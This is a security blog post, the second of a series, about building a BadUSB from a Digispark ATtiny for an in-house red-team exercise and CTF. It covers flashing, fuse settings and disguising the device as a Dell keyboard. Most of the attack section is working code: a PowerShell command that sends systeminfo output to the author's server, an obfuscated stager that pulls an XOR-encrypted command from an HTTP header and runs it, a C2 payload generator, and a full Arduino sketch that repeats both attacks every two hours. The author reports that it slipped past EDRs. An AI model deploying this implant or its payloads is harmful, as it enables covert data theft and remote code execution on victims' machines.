Introduction
After my failed attempts at reading the contents of a suspicious USB device, I decided to change the hat and use the badusb for my own evil purposes.
This is the obvious turn of events after the frustration I detailed in my previous blog post: How to safely investigate an unknown and potentially malicious USB device [1/3]
Learning how to weaponize
The first step is to learn how to flash a custom payload.
I’ve learned that ATtiny devices are a bit faulty and outdated, but let’s try anyway!
How to flash
There’s a ton of documentation out there, but finding something that works in 2024 is more difficult. Much of it is about 10 years old (!).
The easiest way would be to check the Digispark documentation, but oh no, the website is no longer available.
Looking back in time, we had to add an Additional Board Manager URL with the value http://digistump.com/package_digistump_index.json
to the Arduino IDE. Then we could install the board manager “Digistump AVR Boards by Digistump”, but that resource is no longer available.
Luckily, there are mirrors and alternatives, and even the holy Web Archive has an old version (1.6.7). ArminJo forked the original repo and continued to maintain it until 2023, which then became deprecated in favor of ATTinyCore.
Sadly, ATTinyCore doesn’t include the DigiKeyboard library anymore. According to the principal contributor:
The digistump core jumps through flaming hoops on one leg in the dark just to get any sort of functionality whatsoever - they compromise the functionality of the chip in every way.
In summary, with the new USB implementations of modern operating systems, the timing constraints are too demanding for the poor ATtinys.
Somehow, I found a way to make it work.
spacehuhntech has a pretty Duckify application for converting BadUSB scripts into Arduino IDE Sketches. They also have nice documentation about how to install and use it. It’s based on the deprecated ArminJo’s board manager, but for now, it worked for me.
Steps
Instructions based on duckify huhn documentation, but I never made it work using the bootloader and plugging in the USB. Instead, I used avrdude to flash directly without any bootloader defined.
1 - Prepare the programmer
- Install the Arduino IDE
- Flash the Arduino with the Arduino ISP
- Make the SPI connections to the clipped ATtiny (explained in Dumping memory, Second attempt: Arduino)
2 - Install the Board Manager
- Go to File > Preferences > Additional Boards Manager URLs and paste
https://raw.githubusercontent.com/ArminJo/DigistumpArduino/master/package_digistump_index.json
- Click OK to save and close the Preferences
- Go to Tools > Board > Boards Manager, search for Digispark, and install “Digistump AVR Boards” by Digistump (version 1.7.5)
3.a - Flash new sketch using Arduino IDE
- Go to duckify.huhn.me and write your badUSB script
- Select System, Keyboard, and
Digispark
Mode, and click convert - Copy the generated code and paste it into a new Arduino IDE Sketch
- Go to Tools > Board > Digistump AVR Boards and select Digispark
- Select the Port of the Arduino (the programmer)
- Select Burn Bootloader Method > Fresh Install (via ISP)
- Select Clock > 16 MHz - No USB
- Select Programmer > Arduino as ISP
- Click Verify (in the top left)
- It has compiled the source code in a temporary folder; find it in the output panel and locate the
.hex
file (something like/tmp/arduino/sketches/<random_value>/sketch_name.ino.hex
). - Flash the hex file using avrdude:
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:/path/to/sketch_name.ino.hex
3.b - Alternative method using Arduino CLI
- Install Arduino CLI
- Create a folder with the name of the project
- Go to duckify.huhn.me and write your badUSB script
- Select System, Keyboard, and
Digispark
Mode, and click convert - Copy the generated code and paste it into a new
.ino
file inside the newly created folder with the same name
project_name └── project_name.ino
- Compile using arduino-cli
arduino-cli compile -e --fqbn digistump:avr:digispark-tiny project_name/project_name.ino
- A new
build
folder is created
project_name
├── build
│ └── digistump.avr.digispark-tiny
│ ├── project_name.ino.eep
│ ├── project_name.ino.elf
│ ├── project_name.ino.hex
│ ├── project_name.ino.lst
│ ├── project_name.ino.map
│ ├── project_name.ino.with_bootloader.bin
│ └── project_name.ino.with_bootloader.hex └── project_name.ino
- Flash with avrdude
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U flash:w:project_name/build/digistump.avr.digispark-tiny/project_name.ino.hex
By using this way, the flashing process can be more or less automated in a simple script.
Fuse tuning
In order to make it work, I had to modify some fuse values.
To read the fuse values:
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:r:-:h -U hfuse:r:-:h -U efuse:r:-:h -U lock:r:-:h
Optimal values:
Fuse | Value | Description |
---|---|---|
lfuse | 0xf1 |
High Frequency PPL Clock, nominal frequency of 16 MHz; Start-up time 16K CK / 14 CK + 64 ms |
hfuse | 0xdf |
Enable Serial Program and Data Downloading and Brown-out detection disabled |
efuse | 0xfe |
Self Programming enabled |
lock | 0xff |
No memory lock features enabled |
And to write fuse values:
sudo avrdude -v -c avrisp -p t85 -P /dev/ttyACM0 -b 19200 -U lfuse:w:0xf1:m -U hfuse:w:0xdf:m -U efuse:w:0xfe:m -U lock:w:0xff:m
Configure keyboard
The Digispark can be configured to appear as a different device, such as an Apple keyboard or a harmless greasy corporate Dell keyboard.
From the duckify huhn documentation:
- Find where the
DigisparkKeyboard
library is located - Edit the file
usbconfig.h
:- USB VID (
USB_CFG_VENDOR_ID
) - USB PID (
USB_CFG_DEVICE_ID
) - Vendor name (
USB_CFG_VENDOR_NAME
andUSB_CFG_VENDOR_NAME_LEN
) - Device name (
USB_CFG_DEVICE_NAME
andUSB_CFG_DEVICE_NAME_LEN
)
- USB VID (
A list of possible registered USB devices can be found on websites like devicehunt.com
I chose a Dell keyboard, and the modified values are:
#define USB_CFG_VENDOR_ID 0x3c, 0x41
[...]
#define USB_CFG_DEVICE_ID 0x10, 0x20
[...]
#define USB_CFG_VENDOR_NAME 'D','e','l','l',' ','C','o','m','p','u','t','e','r',' ','C','o','r','p','.'
[...]
#define USB_CFG_VENDOR_NAME_LEN 19
[...]
#define USB_CFG_DEVICE_NAME 'K','e','y','b','o','a','r','d'
[...]
#define USB_CFG_DEVICE_NAME_LEN 8
Other problems
The badusb does not work well with USB 3.0 ports due to a timing issues. However, using a USB 2.0 extension cable or a USB hub forces a downgrade from USB 3.0 (9 pins) to USB 2.0 (4 pins) and solves the problem :)
Crafting the exercise
Earlier this year, Mandiant published an article titled Evolution of UNC4990: Uncovering USB Malware’s Hidden Depths that reminded us that BadUSB devices are still used as an initial infection vector today.
My idea was to plug my USB device into a micro PC behind a TV. Of course, I had insider information and physical access, but I worked there and this is an exercise.
If I wanted to maintain persistence, the payload execution should be scheduled. I achieved this behavior using the following code, running in the loop section and sleeping for a couple of hours in between.
void setup() {}
void loop() {
// ...
unsigned long seconds = 1000L; // Notice the L
unsigned long minutes = seconds * 60;
unsigned long hours = minutes * 60;
// sleep for 2 hours
(2*hours);
delay// ...
}
I divided the exercise into two different phases:
Phase 1: Exfiltration
The first phase is the easy one: just a request exfiltrating data to a server controlled by me:
-nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null" powershell
The output of the systeminfo
command is base64 encoded and sent to my domain in the URL path.
The Ducky script would be something like this:
DELAY 5000
GUI R
DELAY 1000
STRING cmd /k
DELAY 500
ENTER
DELAY 5000
STRING powershell -nol -nop -ep bypass -c "Invoke-WebRequest -UserAgent '' -Uri http://my.domain/$([Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($(systeminfo)))) | out-null"
DELAY 500
ENTER
DELAY 10000
STRING exit
DELAY 500 ENTER
Phase 2: C2 implant
The second phase is a bit more complex and is executed a couple of minutes after the exfiltration phase.
First, it spawns a cmd, then a powershell, and finally runs the obfuscated payload:
$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
De-obfuscating it reveals four different parts:
- It requests the URL
https://my.domain
without a User-Agent and using the HTTP method OPTIONS. It then selects the headers and saves them to the variable$h
.
$h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;
- In the second part, it retrieves the contents of the
x-ctf
header.
$h=$h.headers['x-'+[char]99+'tf'];
- Next, it defines a hardcoded key. I’ll leave the cracking and deciphering the meaning of the password as an exercise for the reader.
$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);
- The final part performs XOR decryption on the contents of the header using the hardcoded key. The output is executed using
iex
(Invoke-Expression
).
iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
I also created a small Python function to generate encrypted second-stage payloads on my minimal c2 server:
def generate_header_c2():
# generate encrypted header command using xor
= ""
encrypted_command for i in range(len(X_HEADER_VALUE)):
+= chr(ord(X_HEADER_VALUE[i]) ^ KEY[i % len(KEY)])
encrypted_command = base64.b64encode(encrypted_command.encode())
encrypted_command_b64 return {f"{X_HEADER_NAME}": encrypted_command_b64.decode()}
I tested the payload on different EDRs, and my malicious second-stage payload executed fine without major alerts. The tested payloads were harmless like hostname
or ipconfig
. Hopefully, if the next payload were really malicious, it would probably be detected.
The second Ducky script looks like this:
DELAY 10000
GUI R
DELAY 2000
STRING cmd /k
DELAY 500
ENTER
DELAY 2000
STRING powershell -ver 5 -nol -nop -ep bypass
DELAY 500
ENTER
STRING $h=iwr -me o -useR('')-uR('{3}{1}{4}{0}{2}'-f'dom','tps://','ain/','ht','my.')|select H*;$h=$h.headers['x-'+[char]99+'tf'];$k=([byte]91,170,97,228,201,185,63,63,6,130,37,11,108,248,51,27,126,230,143,216);iex([System.Text.Encoding]::UTF8.GetString((0..([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h)).Length-1)|ForEach-Object{([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($h))[$_] -bxor $k[$_ % $k.Length])})))
DELAY 1000
ENTER
DELAY 10000
STRING exit
DELAY 500
ENTER
DELAY 1000
STRING exit
DELAY 500 ENTER
Packing up
With the two ducky script payloads ready, we can proceed to duckify.huhn.me to convert them into an Arduino IDE sketch.
To transform the badusb into a scheduler, I relocated the code from the setup()
function to the loop()
function and added delays between phases and at the end of execution. This configuration ensures the implant sleeps for 2 hours between executions.
Depending on the OS system or the keyboard language selected during the duckify conversion, the value pairs of the different characters may differ.
#include "DigiKeyboard.h"
const uint8_t key_cmd[] PROGMEM = {0,6, 0,16, 0,7, 0,44, 2,36, 0,14};
const uint8_t key_exfil[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, 0,11, 0,8, ...};
const uint8_t key_exit[] PROGMEM = {0,8, 0,27, 0,12, 0,23};
const uint8_t key_ps[] PROGMEM = {0,19, 0,18, 0,26, 0,8, 0,21, 0,22, ...};
const uint8_t key_c2[] PROGMEM = {2,33, 0,11, 2,39, 0,12, 0,26, ...};
void duckyString(const uint8_t* keys, size_t len) {
for(size_t i=0; i<len; i+=2) {
.sendKeyStroke(pgm_read_byte_near(keys + i+1), pgm_read_byte_near(keys + i));
DigiKeyboard}
}
void setup() {}
void loop() {
(1, OUTPUT); // Enable LED
pinMode(1, LOW); // Turn LED off
digitalWrite.sendKeyStroke(0); // Tell computer no key is pressed
DigiKeyboard
unsigned long seconds = 1000L;
unsigned long minutes = seconds * 60;
unsigned long hours = minutes * 60;
// Exfiltrate systeminfo via GET request
.delay(5000); // DELAY 5000
DigiKeyboard.sendKeyStroke(21, 8); // GUI R
DigiKeyboard.delay(1000); // DELAY 1000
DigiKeyboard(key_cmd, sizeof(key_cmd)); // STRING cmd /k
duckyString.sendKeyStroke(40, 0); // ENTER
DigiKeyboard.delay(5000); // DELAY 1000
DigiKeyboard(key_exfil, sizeof(key_exfil)); // STRING powershell...
duckyString.sendKeyStroke(40, 0); // ENTER
DigiKeyboard.delay(10000); // DELAY 10000
DigiKeyboard(key_exit, sizeof(key_exit)); // STRING exit
duckyString.sendKeyStroke(40, 0); // ENTER
DigiKeyboard
(1*minutes);
delay
// c2 execute from encrypted header
.delay(10000); // DELAY 10000
DigiKeyboard.sendKeyStroke(21, 8); // GUI R
DigiKeyboard.delay(2000); // DELAY 2000
DigiKeyboard(key_cmd, sizeof(key_cmd)); // STRING cmd /k
duckyString.delay(500); // DELAY 500
DigiKeyboard.sendKeyStroke(40, 0); // ENTER
DigiKeyboard.delay(2000); // DELAY 2000
DigiKeyboard(key_ps, sizeof(key_ps)); // STRING powershell...
duckyString.delay(500); // DELAY 500
DigiKeyboard.sendKeyStroke(40, 0); // ENTER
DigiKeyboard(key_c2, sizeof(key_c2)); // STRING $h=iwr -useR('')...
duckyString.delay(1000); // DELAY 1000
DigiKeyboard.sendKeyStroke(40, 0); // ENTER
DigiKeyboard.delay(10000); // DELAY 10000
DigiKeyboard(key_exit, sizeof(key_exit)); // STRING exit
duckyString.delay(500); // DELAY 500
DigiKeyboard.sendKeyStroke(40, 0); // ENTER
DigiKeyboard.delay(1000); // DELAY 1000
DigiKeyboard(key_exit, sizeof(key_exit)); // STRING exit
duckyString.delay(500); // DELAY 500
DigiKeyboard.sendKeyStroke(40, 0); // ENTER
DigiKeyboard
(2*hours);
delay}
Following the steps explained earlier, I compiled and flashed the final sketch, completing the setup with the extension USB cable and a new 3D-printed case with a phishy salaries_2024.xlsx
label on it.
The following day at the office, I simply waited until everyone had gone home, stealthily plugged in the suspicious USB, and hoped everything worked as planned.
Additionally, I developed a Telegram bot to monitor the exfiltrated data and control the C2 implant.
Gamification
To improve the quality of the exercise, I organized a Capture The Flag (CTF) event for my team. With different challenges and hints, it’s easier to achieve the objectives and get more familiar with all the different tools and solutions of the SOC. After all, who doesn’t enjoy a good CTF?
Setting up everything was straightforward thanks to CTFd, ensuring a smooth and engaging event.
Final scoreboard:
Overall, it was a fun experience.
Conclusion
Despite initial setbacks and frustrations, thanks to being more stubborn than a mule, I finally created a functional BadUSB. And why not use it for something useful?
I enjoyed crafting each step of the payload and chaining them together. Thinking like an attacker can be very useful for the defense team, as it provides a broader perspective of the cybersecurity landscape. It also helps to improve the detections and response.
Creating the CTF was the perfect way to wrap everything up. It was not only fun but also a great learning experience.
But weren’t these articles about reversing a badusb? Where is the reversing? Well, now that we have a malicious USB stick, we can finally reverse it. But that will be in the next post.